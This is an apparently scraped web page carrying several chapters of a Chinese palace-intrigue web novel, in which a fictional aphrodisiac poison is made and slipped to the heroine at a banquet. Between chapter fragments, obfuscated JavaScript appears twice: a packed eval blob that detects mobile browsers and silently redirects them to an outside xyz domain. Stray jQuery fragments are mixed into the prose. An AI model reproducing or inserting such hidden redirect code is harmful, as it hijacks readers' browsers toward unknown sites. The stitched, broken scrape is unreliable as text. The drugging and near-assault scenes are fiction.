$(''.inform'').remove(); $(''#content'').append('' 皇子看他笑话,更不愿让父皇以为他连后院之事都料理不周,难堪大任。 凝香看出他神色的异样,佯装关切地问:“殿下神色不虞,可是有烦心事?” “我后院一妾室有孕,不料却被皇子妃害得小产。”萧修湛神色阴郁道。 凝香闻言,眼底闪过一抹不易察觉的冷光,面上却故露惊愕之色:“三皇子妃刚入麟阁宫,便有如此狠辣手段?殿下,这……” 她欲言又止,似是不忍苛责。 萧修湛眉头紧锁,沉声道:“都怪我从前疏忽,未曾看清她的真面目。如今四弟处处压我一头,若再传出我后院管束不周,怕是父皇对我更添不满。” 凝香心头冷笑,面上却不动声色,轻轻握住他的手,柔声道:“殿下莫要忧心。妾身腹中怀着您的骨肉,定会小心谨慎,绝不让皇子妃有可乘之机。” 萧修湛闻言,眼底闪过一丝亮色,握紧她的手,郑重道:“好,凝香,你放心。无论母妃、皇后,还是后宫其他嫔妃,都休想动你腹中孩儿分毫!我定会护你母子周全。” “谢殿下!”凝香顺势依偎在他怀中,娇弱之态尽显,似不经意般轻声道,“只是,殿下,三皇子妃如此跋扈,您可曾想过如何处置她?” 萧修湛冷笑,目光阴鸷:“自她嫁入麟阁宫,我从未踏足她的寝殿。纵然她占着正妃之位又如何?宫中谁人不知她失宠。” 凝香低垂眼帘,掩住唇角一抹意味深长的笑,轻声道:“殿下果真铁石心肠,如此绝色佳人,竟忍心冷落。不过……” 她顿了顿,语气带着几分若有若无的暗示,“旁的男子,怕未必有殿下这般定力。” 萧修湛面色一沉,声音骤冷:“你此话何意?” 凝香故作惊慌,忙低头请罪:“妾身失言!只是听闻三皇子妃容貌倾城,未出阁前便有诸多世家子弟倾慕于她……” 她声音渐低,似懊悔失言,却暗自观察萧修湛的神色。 萧修湛沉默不语,目光愈发阴沉。 他久历风月,深谙女子心性。 姜瑶真那般姿容绝艳的女子,从小被众星捧月惯了,若长久被冷落,哪能甘心寂寞? 若她心生他意,红杏出墙,届时他颜面何存? “她若敢如此,”萧修湛咬牙切齿,声音冷如寒冰,“本殿定让她生不如死!” 凝香不说话。 但她知道,自己这句话成功在萧修湛心中埋下一根怀疑的刺。 只待时机成熟,这根刺便会成为一柄利刃,直刺姜瑶真的命门! 第138章 牡丹花下 第一百三十八章牡丹花下 姜天泽步入后厨,见母亲姜三夫人正凝神调制**。 见案上摆放着蛇床子和yin羊藿这些药材,他眉头微挑,语气略带疑惑:“母亲,你是在制毒?这**怎么跟媚药似的?” 姜三夫人头也不抬,唇角勾起一抹冷笑:“此毒是买家托我做的,她想让仇敌死得极不体面。我思来想去,在翻云覆雨时七孔流血而亡,够不体面了吧?” 姜天泽嗤笑一声:“不过是过量媚药罢了,剂量足些,自会暴毙。母亲,这毒未免少了新意。” 母子谈论此事神色淡漠,人命关天的事在他们眼中不过无关紧要的琐事。 姜三夫人停下手中动作,抬头瞥他一眼:“天泽,你别小瞧这毒。它不直接取命,服下后只叫人情欲高涨,表面看起来与寻常媚药无异。但其玄妙之处,就在于能让**者生出特殊体液,但凡有人与之交媾,沾染上这些体液,便会气血逆乱,七孔流血而亡。” 姜天泽不以为然:“这不就是过量媚药?不过是连累那与他交媾的倒霉鬼一起送命罢了。” 姜三夫人冷笑道:“差之千里!此毒不给仇敌用,而是下在他心上人身上。试想,心爱之人受媚药煎熬,哪个男子能忍住不与她云雨?” 姜天泽若有所思,心想若姜姝宁中此毒,自己怕也难自持。 “买家这仇敌,虽死得不体面,但牡丹花下死,做鬼也风流啊!” 姜三夫人笑着道:“说得好,那这**就叫‘牡丹花下’!” —— 盛夏,宫中喜讯传来,香妃娘娘诞下小公主。 皇帝大喜,赐名荣珠,寓意珠玉无瑕。 宫中嫔妃们都暗自松一口气——幸好是个公主,无缘储位,否则以皇帝对香妃的宠爱,皇子恐难不被列入继位之选。 满月宴当日,宫廷盛况空前,邀尽世家贵女。 姜姝宁一改往日素雅,特意换上桃红色罗裙,艳若春花。 姜天泽恰好来找她,乍一见她这幅明艳动人模样,竟有些失了神。 半晌,他才寻回自己的声音:“大姐姐今日怎穿得这般好看?” 姜姝宁轻笑,眼底闪过一丝狡黠:“今晚是荣珠公主满月宴,小孩子爱鲜亮颜色,我便穿得艳些,只盼小公主能多瞧我两眼。” 姜天泽凝视她,语气柔和却藏着深意:“大姐姐如此喜欢孩子?” “玉雪可爱的孩子,谁不喜欢?”姜姝宁反问,笑意盈盈,“三弟难道不喜欢?”“喜欢的。”姜天泽看着她,神色温柔,“大姐姐喜欢的,我都喜欢。” “可惜陛下只邀了女眷赴宴,不然你也能一睹小公主的风采。” 姜天泽唇角微扬:“那大姐姐替我多瞧小公主几眼。” “自然!”姜姝宁颔首,转身欲走,姜天泽却忽地唤住她:“大姐姐!” 她回眸,疑惑道:“何事?” 姜天泽目光微沉,心头涌起一丝莫名不安。 他上前挽起她的袖口,见那条小白蛇乖巧盘于腕间,吐着信子,方才松了口气:“大姐姐,切莫让小白离身。” 有小白在,她定会安然无恙。 姜姝宁点头应下,笑容未变:“好,我先走了。” 她上了马车,却在车内悄然摘下小白蛇,放入首饰盒,递给凌芜:“凌芜,帮我看着小白,别随便打开盒子,当心它伤人。” 凌芜一愣:“大小姐,您方才不是答应三少爷……” “今晚是满月宴,出席的皆是女眷,带条蛇做什么?万一惊了小公主,岂不罪过?”她语气轻松,“放心,不会有事的。” 在小公主的满月宴上,姜姝宁看到了香妃娘娘凝香。 她比起上次在梅花宴时更显丰腴,肌肤胜雪,气色红润,可见在宫中过得不错。 她抱着襁褓中的小公主,笑意盈盈地接受着众人的恭贺。 姜姝宁也想去瞧瞧那玉雪可爱的小公主,奈何宾客如云,只能耐心等待时机。 赴宴的不仅有世家贵女,还有太后、皇亲国戚以及皇子们。 皇子们对新生的妹妹兴致缺缺,反倒是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699930|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太后与一众夫人对荣珠公主爱不释手,逗弄个不停。 姜姝宁目光扫过人群,在角落里发现了独自一人的荣华公主。 她走上前去,关切地问:“荣华公主,怎么一个人待着?要不要与我一同去看看荣珠公主?” 荣华公主摇了摇头,小脸上满是愁容:“姜姐姐,你知道吗?我快要被送去和亲了!” “什么?!”姜姝宁一惊,“谁告诉你的?” “我自己猜的,”荣华公主语气低落,“母妃说,我姐姐原本是父皇唯一的掌上明珠,父皇本不舍得她远嫁。可后来我出生了,姐姐便不再是唯一的公主,没多久就被送去北陵和亲了。如今香妃娘娘诞下荣珠公主,我也不是唯一的公主了,想来很快也要被送去和亲。” 姜姝宁哭笑不得:“荣华公主,别胡思乱想,你还小,陛下不会送你去和亲的!” 荣华公主却一脸认真:“姜姐姐,你不懂!母妃说,对帝王而言,送公主和亲是最省事的避免战乱的法子,牺牲一个公主,就能换来大邺几十年的安稳。公主嘛,生来就是用来和亲的!” 这番话让姜姝宁心中五味杂陈。 荣华公主不过十一岁,小小年纪,就明白了自己身不由己的命运。 身为大邺公主,和亲联姻便是她们的宿命。 若远嫁一位公主真能换来大邺的和平,皇帝定会毫不犹豫地牺牲女儿的幸福。 姜姝宁柔声安慰道:“荣华公主放心,你父皇不会让你和亲的!我略懂占卜之术,掐指一算,你啊,可以在宫里随心所欲地生活!” 荣华公主闻言,小脸上终于露出了笑容:“真的吗?姜姐姐可不许骗我!” 姜姝宁心中笃定。 毕竟前世的皇帝还未等到荣华公主长大就驾崩了,算算时间,大约就在明年这个时候。 她不由看向香妃身旁的皇帝,只见他面色红润,精神矍铄,丝毫没有即将暴毙的迹象。 姜姝宁心头一凛,一股寒意油然而生——莫非,前世的皇帝并非寿终正寝,而是遭人暗害? 第139章 无法忍受明月被独占 第一百三十九章无法忍受明月被独占 思忖间,五皇子萧怀瑾走了过来。 “姜姑娘在想什么,竟如此出神?” 姜姝宁回过神来,敛衽行礼:“臣女见过五皇子殿下。殿下可是去看过荣珠小公主了?” 萧怀瑾微怔,随即答道:“还未。” “那便一同去吧!”姜姝宁眸中闪着期盼的光芒,若是与萧怀瑾和荣华公主一起,或许能更快见到小公主。 萧怀瑾略一迟疑,便颔首应允:“好。” 姜姝宁或许不知,皇家兄弟姐妹间的关系微妙复杂。 即便是一母同胞,也难免存在竞争,更别提不同妃嫔所出的子女。 今日皇子们前来,多半只是例行公事。 在他们的母妃眼中,香妃这样出身的妃子,连同她所生的孩子,根本不值得他们多看一眼。 可为了姜姝宁,萧怀瑾愿意主动向香妃示好。 姜姝宁喜爱小动物,想来也是喜欢孩子的。 果然,在萧怀瑾的陪同下,姜姝宁很快便来到了香妃身旁。 太后见了她,慈祥地笑道:“姜姑娘也来了?瞧瞧这小公主,多可爱!” 说着,太后便将小公主递到姜姝宁怀中。 姜姝宁受宠若惊,下意识地望向香妃。 香妃微微颔首,示意她可以抱。 姜姝宁顿时欣喜万分,小心翼翼地接过小公主,目光在她娇嫩的眉眼间流转。 这小小软软的婴孩,粉雕玉琢,比世间任何生灵都要可爱。 姜姝宁鼻尖一酸,心中涌起一股难言的酸楚。 前世的她,何尝不渴望拥有一个孩子,一个玉雪可爱的女儿? 可这个愿望最终被萧凌川无情地剥夺了。 七皇子萧琪钰的目光落在不远处姜姝宁怀抱小公主的身影上,不由笑道:“嫂嫂对小公主的喜爱,竟比我们这些做兄长的还要浓厚几分。” 萧凌川的目光却落在姜姝宁身旁的萧怀瑾身上,神色阴沉:“她对哪个孩子都喜欢!” 偏偏让萧怀瑾陪她去看小公主,两人站在一起,怎么看怎么碍眼! “既然嫂嫂如此喜爱孩子,待日后四哥娶了她,定要加把劲,多生几个才是。” 他像是忽然想起什么似的,故意道,“对了,嫂嫂不是说过此生不嫁吗?那四哥岂不是没机会了?” 萧凌川的目光落回姜姝宁身上,语气森冷:“笑话,岂容她说了算?她不嫁,也得嫁!” “四哥英明!”萧琪钰连忙奉承道。 此时,三皇子萧修湛也携姜瑶真来到宴席。 他远远看着被姜姝宁抱在怀里的婴孩,眼底流露出一丝不易察觉的柔情。 姜瑶真误以为他正看着姜姝宁,心中妒火中烧,忍不住出言讥讽:“一个女支子生的孩子,有什么好看的?真是没见过世面!” 萧修湛脸色骤变,冷声道:“人家好歹诞育了子嗣,你呢?除了害死别人的孩子,可有本事为本皇子诞下子嗣?” 丢下这句话,他拂袖而去,留下姜瑶真一人在原地怒火攻心。 她嫁入麟阁宫数月,萧修湛都从未碰过她,让她如何有孕? 他分明是故意刁难! 姜姝宁抱了小公主许久,这才依依不舍地递还给香妃,由衷赞叹道:“香妃娘娘,小公主真是太可爱了!” 香妃笑着道:“姜姑娘过誉了。姜姑娘花容月貌,将来诞下的孩子定会更加可爱!” “香妃娘娘谬赞。” 两人正寒暄着,忽有一人醉醺醺地走上前来。 “这就是香妃娘娘所出的荣珠公主?让我也瞧瞧!”六皇子带着几分醉意说道。 香妃下意识地将婴孩抱紧,四下寻觅皇帝和太后的身影。 皇帝和太后正在席间与几位皇亲国戚谈笑风生,显然没有注意到香妃此刻的窘境。 姜姝宁见六皇子伸出手来要碰小公主,连忙上前阻拦:“六皇子殿下,小公主尚且年幼,您未曾抱过稚子,恐会惊扰到她!” “你算什么东西,竟敢管本皇子?”六皇子正欲发怒,却被一旁萧怀瑾一声冷喝打断。 “六弟,注意你的言行!” 六皇子如梦初醒般看向萧怀瑾,随即堆起笑容:“五哥也在啊!你莫要动怒,我不过是好奇,想看看香妃娘娘所生的这位小公主身上是否带有异香!若有,将来岂不更适合和亲?哪个君王不喜欢身上带有香气的玩物?这小公主若是能去和亲,荣华不就安全了?五哥 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张嫣转身,便对上姜瑶真意味不明的笑脸。 她屈膝行礼:“见过三皇子妃。” “张姑娘不必多礼,日后你我便是一家人了。”姜瑶真望着不远处的萧怀瑾,意有所指道,“可惜啊,张姑娘想嫁的并非二皇子,而是五皇子吧?” “你……”张嫣被人戳中了心事,整张脸涨得通红,眼神闪烁。 “张姑娘放心,此事只有我知道。”姜瑶真拉着她的手,把一个瓷瓶塞进她掌心里,“把这个给我姐姐喝下,今夜之后,她便是四皇子殿下的人了,不会再和五皇子殿下纠缠不清。哦,对了,这瓶药就叫‘牡丹花下’!” 张嫣看着手中的瓷瓶,声音颤抖:“你为何不自己给她下药?” “因为她对我处处提防,不会轻易吃我给的东西。况且,”姜瑶真凑近张嫣,语气低沉,带着笃定的恶意,“我觉得,张姑娘你不会拒绝!” 张嫣没说话,她默认了。 她可以接受自己不被仰望的明月所看见。 但她无法忍受明月被另一个女人独占! 第140章 你这样,我更难受 第一百四十章你这样,我更难受 姜姝宁刚在席间落座,张嫣便主动上前攀谈。 “姜姑娘,我是专程来道歉的。”她一副愧疚的模样,“那日在会客茶楼,我在你弟弟糕点中下毒一事,实非我本意。我和父亲都是被人逼的!” “张姑娘不必介怀,此事我已释怀。”姜姝宁语气平和。 萧凌川已承认是他暗中授意给姜天泽下毒,张嫣父女不过奉命行事罢了,她自然没有理由怪他们。 “姜姑娘真是宽宏大量。”张嫣拿起酒壶,为姜姝宁斟满一杯酒,“喝了这杯酒,就当此事一笔勾销。” “好。”姜姝宁不疑有他,接过酒杯一饮而尽。 张嫣眸色晦暗。 就在刚刚,她将藏于指甲缝隙中的“牡丹花下”药粉,悄无声息地撒入了酒中。 过了今夜,姜姝宁便会和她一样,再也没有资格出现在萧怀瑾面前了。 没有人能独占她的明月。 姜姝宁饮下酒水后不久,便觉得一阵头晕目眩。 张嫣见药效发作,连忙扶住她,柔声道:“姜姑娘看来不胜酒力,我扶你去御花园吹吹风吧!” 说完,她便搀扶着姜姝宁,径直走向远离宴席的一处偏殿。 将姜姝宁安置在床榻上,掩好殿门后,张嫣立刻去找萧琪钰,故作惊慌道:“七皇子殿下,不好了,姜姑娘似是醉酒,一个劲儿地喊着四皇子殿下的名讳。臣女怕她落人口实,便将她带到了假山旁的偏殿。” 萧琪钰一听,顿时双目圆睁。 嫂嫂喝醉了还喊着四哥的名字? 四哥若是知道,岂不是要乐疯了! “你做得很好,我这就去遣人送醒酒汤过去!” 说完,萧琪钰飞也似地跑去找萧凌川。 “四哥,四哥!嫂嫂喝醉了,还喊你的名字呢!她现在在假山旁的偏殿,你快去看看!” 萧凌川听到这话,二话不说便朝疾步离开。 张嫣远远地守着,确认萧凌川进了偏殿,这才悄然离去。 她心中暗道:姜姝宁,你莫怪我心狠。 要怪就怪你自己朝三暮四,明明无意嫁给五皇子,却偏偏吊着他不放,让他为你神魂颠倒。 今夜一遭,就当是你的报应吧! 萧凌川推开殿门,就看到了极其香艳的一幕——床榻上,姜姝宁发髻凌乱,香肩微露,以极其撩人的姿势斜躺着,口中不断呢喃:“好热,好热!” 走近一看,她双颊潮红,眼神涣散,不用猜也知道,是中了媚药。 萧凌川神色微沉:谁这么大的胆子,敢在他的眼皮子底下给她下药? 姜姝宁见一个人影朝自己逼近,濒临崩溃的她本能地缠了上去,带着哭腔哀求道:“救救我,我好难受……” 她柔软无骨的身子紧紧贴着萧凌川。 盛夏衣衫单薄,被她这样一贴,滚烫的温度瞬间传遍他的全身。 他不禁喉结滚动,声线沙哑:“你别这样……你这样,我更难受。” 他的自制力本就有限,如今更是几经告罄,实在经不起她如此撩拨。 该死的,究竟是谁给她下了如此猛烈的媚药? 才这么一会儿功夫,她浑身便烫得像火烧一般。 他连忙从身上掏出从前在孙神医那里要来的解药,塞一颗进她口中。 眼见她准备吐出来,他干脆低头覆上她的唇,用唇舌逼她将解药吞下。 片刻之后,萧凌川只觉脊背发烫,血脉贲张。 姜姝宁像要将他吞噬一般,吻得愈发热烈,甚至用修长的双腿缠住他的腰。 他一边竭力抵抗着她的主动,一边紧蹙眉头。 该死!这解药竟然毫无作用? 难道……只能以鱼水之欢才能缓解? 前世床笫间的一幕幕如潮水般涌上心头,萧凌川浑身紧绷,呼吸也变得急促起来。 他修长的手指微微蜷起,理智正在节节败退。 若今夜顺水推舟,与她生米煮成熟饭,她便彻底属于他了。 他无需再绞尽脑汁去得到她,也不用再担心旁人觊觎她。 他扣紧她的腰肢,修长的手指沿着她曼妙的腰线一路向下,探寻到她最溃不成军的地方…… “姝宁,你可知我是谁?”他低声问道。 姜姝宁没有回应,体内翻涌的热潮已经让她丧失了思考能力,只剩下最原始的渴望。 她扭动着腰肢,本能地寻求着他的抚慰。 萧凌川忽然嘲讽一声。 若今夜趁人之危,那与禽兽之举又有何异? 此刻的她,甚至都不知 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一股异样的感觉袭来,她的小腹如同燃着一团火,有什么滚烫的东西正源源不断地从体内倾泻而出…… 姜姝宁深吸一口气,羞赧难堪:“我……我这是怎么了?是中了媚药吗?” “不错。而且这媚药非比寻常,方才我喂你服下解药,丝毫不起作用。我已经让凌风去请孙神医了,你再忍耐片刻。” 萧凌川的声音听起来还算冷静,这让姜姝宁暗暗松了一口气。 还好,他没有趁人之危。 在冰水中浸泡了一段时间后,水温渐渐回升。 萧凌川这才起身,当着她的面换下湿漉漉的衣衫。 他胸膛结实,肌肉线条分明,配上那张俊美无俦的脸庞,显得格外野性张扬。 姜姝宁慌忙别开目光,语气中带着一丝幽怨:“多谢殿下相救!只是……殿下其实可以让我一个人泡在水里的。” 方才的姿势太过暧昧,让她几乎以为自己回到了前世那个旖旎缠绵的夜晚。 萧凌川剑眉紧蹙,她这是在怪他? “你以为我愿意这样?若我离开,你便会沉入桶底,到时候淹**都说不定!”他咬牙切齿道,“没见你这般没良心的!” 第141章 急于撇清关系 第一百四十一章急于撇清关系 萧凌川心中暗自后悔。 方才为何要故作正人君子? 倒不如顺势要了她,让她不得不嫁给自己,岂不更好? 姜姝宁被他这句略带幽怨的呵斥弄得有些过意不去。 人家只是担心她溺水,她却反过来埋怨他多此一举,着实有些不识好歹。 他没有趁人之危,占她便宜,是不争的事实。 以他前世那重欲程度,能忍下来已经是不易。 想到这,她低头道:“是臣女误会殿下了,臣女有错,请殿下责罚!” 他没好气道:“我的责罚,你承受得住吗?” 姜姝宁没有作声,只是懊恼地蜷缩着肩膀,一动不动地浸泡在水中。 湿漉漉的发丝凌乱地贴在她依旧泛着红晕的脸颊上,显得格外楚楚动人。 他的心像是被拨弄了一下,怒意顿时烟消云散。 “快些起身,换身干净衣裳。孙神医应该快到了,让他替你诊脉,看看如何将这媚药余毒彻底清除。” 说完,他便立刻转身离去。 再迟一步,他怕自己会忍不住把她从水中抱起来,以吻慰藉。 姜姝宁双脚发软,但还是努力撑起身子,从浴桶里爬出来。 萧凌川给她留的是他的衣衫,宽大至极,她就跟偷穿大人衣服的小孩似的,十分不合体地从房中走出来。 孙神医已经候在正厅里。 为她诊脉后,他神色凝重。 “姜姑娘所中的媚药,老夫从未见过。如今她体内余毒未清,须得施针方可化解。” 其实即便孙神医不说,姜姝宁也能清晰地感觉到,那股诡异的热潮并未消退。 离开冰冷的浴桶后,体内陌生的情欲又开始蠢蠢欲动。 姜姝宁双颊潮红:“有劳孙神医了。只是不知这施针需耗费多少时间?若是今夜无法返回相府,恐怕父母会担忧。” 彻夜未归,于她的名节终究有损。 何况她现在还穿着萧凌川的衣服…… 姜姝宁越想越心慌。 即便今夜萧凌川并未对她做出任何越矩之事,可若是让人瞧见她这副模样,跟已经发生了又有何区别? 难道又要像前世那般,因为清誉受损而不得不嫁给萧凌川吗? “这……”孙神医一时也难以断定,有些为难地看向萧凌川。 萧凌川沉声道:“先施针,尽力将毒素逼出。若是耗时过长,孙神医可乘坐姜姑娘的马车,在马车上继续施针。” 孙神医点了点头:“此法可行。” 正在此时,门外传来敲门声:“殿下,衣裳取来了!” 来人是凌风,他手中拿着一件桃红色的衣裙。 若不仔细观察,几乎看不出与姜姝宁那件湿透的衣衫有何区别。 姜姝宁顿时如释重负,眼眶微红:“多谢殿下!” 她最担心的便是衣衫不整地离开景和宫,被今夜参加宴会的人看见,便是跳进黄河也洗不清了。 见她这副模样,萧凌川心中不禁一阵酸涩:她是真怕与他扯上关系。 孙神医当即给她施针,逼出她体内的毒素。 姜姝宁接连吐出几口黑红色的淤血,顿觉体内那股灼热之感稍稍消退。 “多谢孙神医!”她气息微喘,额间布满了细密的汗珠,心中却如卸下千斤重担般轻松。 “老夫仅仅帮你逼出了体内不到四成的毒素,现在言谢,恐怕为时过早。”孙神医捋了捋胡须,神色凝重地说道。 萧凌川面色阴沉,语气冰冷地问她:“你可知道是谁对你下的毒手?” 姜姝宁回忆起药效发作前的种种,脱口而出:“我喝了张嫣递给我的酒水,头就开始晕,可是……她似乎没有理由要加害于我!” “或许,她真正想要加害的并非是你,或者说,她想害的人远不止你一个。”孙神医意味深长地说道。 “孙神医此话怎讲?”萧凌川追问道。 “殿下,姜姑娘所中的毒十分阴毒诡异,最可怕的是她排出体外的那些体液,若有男子与之交合,必死无疑。因此,老夫才断定,给姜姑娘下药之人,真正想要谋害的,是会与她共赴云雨的男子。” 听到这话,姜姝宁既惊恐又羞愤,脸色一阵红一阵白。 下药之人竟对她怀有如此深的恨意,不仅 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尽管内心波涛汹涌,她面上却丝毫不露,反而笑意盈盈地与他们打招呼:“四皇子殿下,姐姐,方才在宴会上遍寻不见你们的身影,莫非你们一直都在一起?” 她故意提高了音量,引得不少世家贵女纷纷侧目。 萧凌川见状,立刻沉下脸,语气生硬地说道:“三皇子妃误会了,我只是在路上偶遇姜姑娘罢了。” 姜瑶真心中冷笑,她都还没说什么呢,萧凌川便急于解释,有必要这么维护姜姝宁吗? 姜姝宁却从萧凌川的话里听出了另一层含义。 萧凌川急于在姜瑶真面前撇清和自己的关系。 她方才还在暗自赞叹他美色当前仍能坐怀不乱,如今细细想来,或许他只是为了自己心仪之人守身如玉罢了。 前世,为了让姜瑶真顺利登上后位,他不惜暗中给她下避子药,断绝她当母亲的可能。 想到这些,姜姝宁如同被一盆冰水从头浇到脚,瞬间清醒过来。 她暗暗告诫自己,绝不能因为他如今的些许善意,就忘记前世他是如何狠心待她的。 否则,那些苦岂不是白受了? 第142章 我要亲手杀了他! 第一百四十二章我要亲手杀了他! 孙神医和姜姝宁一起登上了回相府的马车。 他一落座便立刻取出银针,神情专注地为她施针。 凌芜被这突如其来的一幕惊得目瞪口呆,慌忙问道:“大小姐,您这是怎么了?” “我被人暗算了,中了毒。不过你别担心,有孙神医在,他医术高明,定能帮我将毒素逼出。” 姜姝宁虚弱地说道,话音未落,就忍不住吐出一口黑色的浊血。 这可把凌芜吓坏了,她急忙掏出帕子,小心翼翼地为姜姝宁擦拭嘴角,一脸担忧地看着孙神医:“孙神医,我家小姐没事吧?” “如今我最多只能逼出她体内六成的毒素,剩下的四成,恐怕还得回去好好调理。”孙神医问道,“这马车里可有笔墨纸砚?” “有的!”凌芜连忙翻找,很快便找来纸笔,恭敬地递给孙神医。 孙神医接过笔纸,在上面飞快地写下一张药方:“这是解毒的方子,先让府医按照这个方子给姜姑娘配药。容老夫这几日再研制出更好的解药,让人送来给姜姑娘服用!” “多谢孙神医!”凌芜接过方子,小心翼翼地放入袖中。 “麻烦姑娘在前方的路口放老夫下车。”孙神医说道。 “是,孙神医!”凌芜连忙吩咐车夫老杨将马车停靠在路口边,恭敬地与孙神医道别。 此时,姜姝宁早已昏迷过去。 方才在宫宴之上,为了不让旁人察觉到异样,她一直强撑着身体的不适。 如今看到凌芜,紧绷的神经也彻底松懈下来,随即陷入昏迷。 看着她脸色苍白,虚弱无力的模样,凌芜心疼不已。 “大小姐,您在宴会上到底经历了什么?” 当马车在相府门前停下时,姜姝宁像是有感知一般,从昏迷中苏醒过来。 她强忍着不适,低声嘱咐凌芜:“此事切莫声张,别让父亲和母亲知道我**的事情。” 自从痛失长子后,姜夫人便对各种宴会失去了兴致,每晚都只是焚香念经,早早便歇下了,并没有陪她一同前去参加小公主的满月宴。 “是,奴婢明白!”凌芜搀扶着姜姝宁进了府,又叮嘱守门的护院们不要声张,以免惊扰了相爷和夫人。 总算没有惊动姜丞相和姜夫人,两人回到了翠竹院。 不料在院门口遇到了正一脸焦灼地等候着的姜天泽。 “大姐姐今夜怎么这么晚才回来?”他话音刚落,便察觉到有些不对劲,姜姝宁正虚弱地倚靠在凌芜身侧,脸色苍白如纸。 他心头一紧,连忙上前扶住她:“大姐姐,你怎么了?” “大小姐在宫宴上中了毒,方才孙神医在马车上为她施了针,勉强逼出了一些毒素,但仍有余毒未清。”凌芜解释道。 姜天泽闻言,瞳孔骤然紧缩,一股强烈的不安感瞬间涌上心头。 “她究竟中了什么毒?”他声音有些颤抖地问。 “奴婢也不清楚,只知道孙神医留下了一张药方,吩咐我们尽快煎药给大小姐服用。” 凌芜说着,从袖中取出那张药方,递给姜天泽。 姜天泽迅速扫视着药方上的药材,脸色瞬间变得惨白。 他连忙上下打量着姜姝宁,见她衣衫完整,发髻也并无凌乱,悬着的心这才稍稍放下一些。。 “大姐姐她……有没有说是谁下的毒?有没有说在宫宴上发生了什么事?”他语气急切地追问道。 “奴婢什么都不知道……三少爷,您就别再问了,还是赶紧去找府医给大小姐配药要紧,大小姐还受着毒的折磨呢!” 姜天泽这才如梦初醒般,慌忙说道:“对,对,我现在就去找府医!” 他立刻赶去找府医,让府医照着方子配了药,又和凌芜一起煎药,然后亲自喂姜姝宁喝下。 看着她终于沉沉睡去,他这才跌跌撞撞地回到西院。 此时已是深夜,夜深人静,姜三爷和姜三夫人早已进入梦乡。 他径直来到姜三夫人的房门前,用力地敲响了房门。 姜三爷被吵醒,在睡梦中嘟嘟囔囔,姜三夫人连忙起身,披上外衣,打开房门走了出去。 “天泽,三更半夜的,你不睡觉跑来这里做什么?”她语气略带责备地问道。 “母亲,当初购买‘牡丹花下’的人,究竟是谁?”姜天泽神色阴沉,语气冰冷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703814|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜三夫人脸色骤然一变,连忙将儿子拉到僻静的院子里,压低声音道:“你怎么会突然问起这个?” “这**,今晚就下在了大姐姐身上!” 姜三夫人闻言,顿时大惊失色:“这怎么可能?你又是从哪里知道的?!” “她中了毒,宫里有个医师帮她解了毒,还开了解毒的方子!那方子,就是解媚药之毒的!”姜天泽咬牙切齿,仿佛是从地狱深处爬出来的修罗,清俊的脸上布满了阴霾和戾气,“母亲,告诉我买家是谁!我要亲手杀了他!” 姜三夫人沉吟片刻,缓缓摇了摇头:“这些年来,我制毒有个原则,那就是绝不泄露买家的身份。天泽,规矩就是规矩,我不能坏了它,否则以后谁还会光顾我的生意?” “母亲!”姜天泽目眦欲裂,低吼出声。 “事已至此,多说无益。你大姐姐是个好姑娘,这件事于她而言是无妄之灾。你若真的喜欢她,就不要在意她的清白是否被毁,或许将来,她会被你的真心打动。”姜三夫人劝慰道。 “大姐姐的清白并未被毁。”姜天泽语气冰冷地打断她,“但她体内的毒素尚未清除干净,现在仍然昏迷不醒,情况十分危急。” “什么?”姜三夫人闻言,脸上露出几分诧异,“她中了‘牡丹花下’,竟然还有男子能忍住不与她行鱼水之欢?这……简直是世间罕见!” “母亲就别再说这种风凉话了!”姜天泽语气不善道,“如果母亲不肯告知儿子买家的信息,至少能把解毒的法子告诉我吧?” “你又不是不知道,我只会制毒,对如何解毒一窍不通。” “那就把您调制‘牡丹花下’的方子拿出来,我交给宫里的那位医师看看,说不定能帮他尽快研制出解药!” “这……”姜三夫人面露犹豫之色。 “怎么,母亲既不肯透露买家的身份,也不肯拿出制毒的方子吗?”姜天泽语气咄咄逼人,仿佛随时都要和她拼命一般。 姜三夫人见儿子态度如此强硬,知道今天不给出一个交代是无法善了了,不由得深深叹了口气。 “好吧,我把方子给你。”她语气凝重地强调道,“这次只是破例,下不为例!” 第143章 冲动是魔鬼 第一百四十三章冲动是魔鬼 第二日,天色微亮,姜天泽便早早地来到了翠竹院。 他问凌芜:“你可有办法联系上那位宫中的孙神医?” “奴婢可以一试。”凌芜答道。 姜天泽递给她一张写满了字迹的纸张:“那就拜托你将这张方子交给孙神医,请他尝试着根据此方子来配置解药,或许就能帮助大姐姐彻底清除体内的毒素!” “这上面是……”凌芜接过纸张,有些迟疑地问。 “这是我昨夜熬夜翻阅了大量书籍,根据大姐姐的状况找到的一张**方子。大姐姐很可能就是中了这种毒才导致如今这般光景的……总之,你只需将这方子交给孙神医即可,其他的无需多问。”姜天泽欲盖弥彰道。 凌芜顿时了然,这毒十有八九就是出自姜三夫人之手! 这对母子竟然助纣为虐,帮着外人来残害自家人,真是罪该万死! 尽管心中怒火中烧,但凌芜面上却不动声色,只将那张纸小心翼翼地放入袖中,恭敬地应道:“是,三少爷,奴婢定会想法子,尽快将这张方子送到孙神医手中!” 眼下最要紧的事情,还是尽快帮助大小姐解除身上的毒素。 至于这对恶毒的南月母子,就留给四皇子殿下亲自收拾吧! 此时的景和宫内,萧凌川正襟危坐,目光如冰刀般锐利地落在张嫣身上。 